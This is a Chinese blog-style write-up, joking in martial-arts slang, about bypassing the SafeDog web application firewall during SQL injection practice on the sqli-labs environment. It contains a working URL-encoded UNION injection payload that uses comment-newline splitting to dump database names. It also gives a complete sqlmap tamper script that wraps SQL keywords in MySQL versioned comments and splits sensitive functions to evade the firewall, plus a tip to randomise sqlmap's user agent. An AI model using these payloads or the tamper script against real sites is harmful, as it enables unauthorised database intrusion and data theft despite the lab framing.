Sql注入打安全哈最重要的就是要会接化发
Sql注入,最重要的就是要会接化发,不会接化发,你就不能说自己会Sql注入。
环境部署
sqli-labs+win版apache安全狗4.0最新版本
下载地址:https://github.com/Audi-1/sqli-labs
打狗
接就是要fuzz出waf规则
然后就是发,发就是把荷载发出去。
我反手就是松果弹抖闪电鞭。
一鞭
它挡住了,他说这样不行 我说我可以
二鞭,
这就过去了 很快啊 3列就出来了啊
经过fuzz发现安全哈咬select
内联注释又是一鞭过去 这个数字跟mysql版本有关
查账户数据库
还发现可以用union all select配合换行打狗
http://10.35.35.69/sqllabs/Less-1/?id=-1%27%20union%23%0aall%23%0aselect%201,(select%20schema_name%20from%20%23%0ainformation_schema.schemata%20%20limit%202,1),3%23
这个mysql默认的库得到一个版本才有 多少版本我忘记了
早上起来想编写一个sqlmap的tamper
结果遇到了坑 记录一下 安全哈不讲武德 会拦截sqlmap的user-agent
加个参数
--random-agent
fuzz后发现安全狗会拦截user() database()这些敏感函数
结合前面的用%23%0a污染一下
发过去后 发现sqlmap说id可以注入 但是并跑不出来数据库
请教了一下撕夜表哥
用Burp代理看下请求
那么就是tamper脚本中替换user把这个SESSION_USER()函数也替换到了 导致注不出来数据库
传统功夫是讲化劲的 化一下
把这个函数化回去
发出去
你看 这一鞭就成功打死安全狗
tamper脚本:
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload=payload.replace("ORDER","/*!14400ORDER*/")
payload=payload.replace("AND","/*!14400AND*/")
payload=payload.replace("FROM","/*!14400FROM*/")
payload=payload.replace("UNION","/*!14400UNION*/")
payload=payload.replace("SELECT","/*!14400SELECT*/")
payload=payload.replace("USER()","USER%23%0a()")
payload=payload.replace("SESSION_USER%23%0a","SESSION_USER")
return payload